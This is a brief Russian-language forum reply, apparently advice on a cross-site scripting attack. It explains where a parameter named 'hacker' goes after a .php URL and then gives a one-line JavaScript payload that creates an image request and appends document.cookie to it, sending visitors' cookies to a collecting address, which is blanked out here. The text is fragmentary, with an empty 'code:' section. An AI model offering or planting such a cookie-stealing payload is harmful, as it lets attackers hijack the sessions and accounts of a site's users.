обычно ставиться после .php?hacker

придет так

code:


в твоем случае

img = new Image(); img.src = "-------?haker"+document.cookie;